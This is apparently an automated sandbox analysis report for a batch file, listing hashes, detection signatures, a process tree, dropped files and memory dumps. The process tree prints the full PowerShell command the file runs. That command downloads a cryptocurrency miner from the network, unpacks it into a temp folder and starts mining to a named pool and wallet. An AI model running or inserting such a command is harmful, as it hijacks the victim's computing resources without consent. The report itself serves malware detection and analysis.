b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

General

Target

73u3Ito.bat
Size

499B
MD5

fe74bff27516829a88cfbc6f6e99646f
SHA1

0c15d859211c79910b277d07e729bec7197a60cd
SHA256

b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb
SHA512

a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	2128	powershell.exe
4	2128	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2112	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2112	cpuminer-sse2.exe
2112	cpuminer-sse2.exe
2112	cpuminer-sse2.exe
2112	cpuminer-sse2.exe
2112	cpuminer-sse2.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2128	powershell.exe
2128	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2128	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1164 wrote to memory of 2128	1164	cmd.exe	86
PID 1164 wrote to memory of 2128	1164	cmd.exe	86
PID 2128 wrote to memory of 3416	2128	powershell.exe	95
PID 2128 wrote to memory of 3416	2128	powershell.exe	95
PID 3416 wrote to memory of 2112	3416	cmd.exe	97
PID 3416 wrote to memory of 2112	3416	cmd.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3416
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2112

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bmt1p3hi.zym.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
10.5MB

MD5
cb27a3b1beae3fdbb9c3bd376d7650a6

SHA1
95ba65a8df68018d8d906819250136bfb03c8d40

SHA256
f14693dc509fd253db8583187298c15bfbe40ff9204bcc520b38156e594ad6e3

SHA512
d19438f4ffbd4585138b254a0f11628cb6571b60049d9f7f6ae6b2e4bb53889fd96e3fa7cd04491b9e757a899cc381dd19ee70214f577529c77d948ae88b6bd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
14.7MB

MD5
a5166c89d55af300aacdfad5cb519e4e

SHA1
105ca02c3602df2c4580ac26f76d271286e850c0

SHA256
f144c5e38b36c98016074ebbba89b31d42b54fd0ce6fa702950236a4f30b9071

SHA512
7b409c1541083b8951cdf1bcdf4acf469a858fbfe6629ab4bc0f7f991cf9866617d9a2702f30125a430f4627c572490f5932a2837cf4403065d3965c48889439

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
10.2MB

MD5
bbd5538c03decb24312a5e17523aa8b0

SHA1
03c792c864e13a78ea1947fa3bcccd3ef99fe370

SHA256
030bd62405ac138156fb2a2490da8c1e116f9ac071317e06787435157584bc78

SHA512
ba374ec9b4eb2fa96c3a34bfdcca5ae2aea0d68be50d5b3576bea062f7e7fbea657546fc0eea82c07d4bcb8476031e8e8f7ac0ea3464b7068744880400068930

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2112-75-0x0000000065FD0000-0x0000000066068000-memory.dmp

Filesize
608KB

Download
memory/2112-82-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2112-132-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2112-117-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2112-112-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2112-102-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2112-97-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2112-77-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2112-76-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/2112-74-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2112-73-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2112-72-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-14-0x0000024851DE0000-0x0000024851DF0000-memory.dmp

Filesize
64KB

Download
memory/2128-11-0x000002486C570000-0x000002486C67E000-memory.dmp

Filesize
1.1MB

Download
memory/2128-12-0x000002486C460000-0x000002486C482000-memory.dmp

Filesize
136KB

Download
memory/2128-13-0x00007FFC2D8A0000-0x00007FFC2E361000-memory.dmp

Filesize
10.8MB

Download
memory/2128-0-0x000002486C2C0000-0x000002486C352000-memory.dmp

Filesize
584KB

Download
memory/2128-15-0x0000024851DE0000-0x0000024851DF0000-memory.dmp

Filesize
64KB

Download
memory/2128-10-0x000002486C220000-0x000002486C230000-memory.dmp

Filesize
64KB

Download
memory/2128-17-0x00007FFC2D8A0000-0x00007FFC2E361000-memory.dmp

Filesize
10.8MB

Download
memory/2128-16-0x000002486C4B0000-0x000002486C4C6000-memory.dmp

Filesize
88KB

Download
memory/2128-59-0x00007FFC2D8A0000-0x00007FFC2E361000-memory.dmp

Filesize
10.8MB

Download
memory/2128-21-0x000002486C4D0000-0x000002486C4DA000-memory.dmp

Filesize
40KB

Download
memory/2128-20-0x000002486C4F0000-0x000002486C502000-memory.dmp

Filesize
72KB

Download
memory/2128-18-0x0000024851DE0000-0x0000024851DF0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing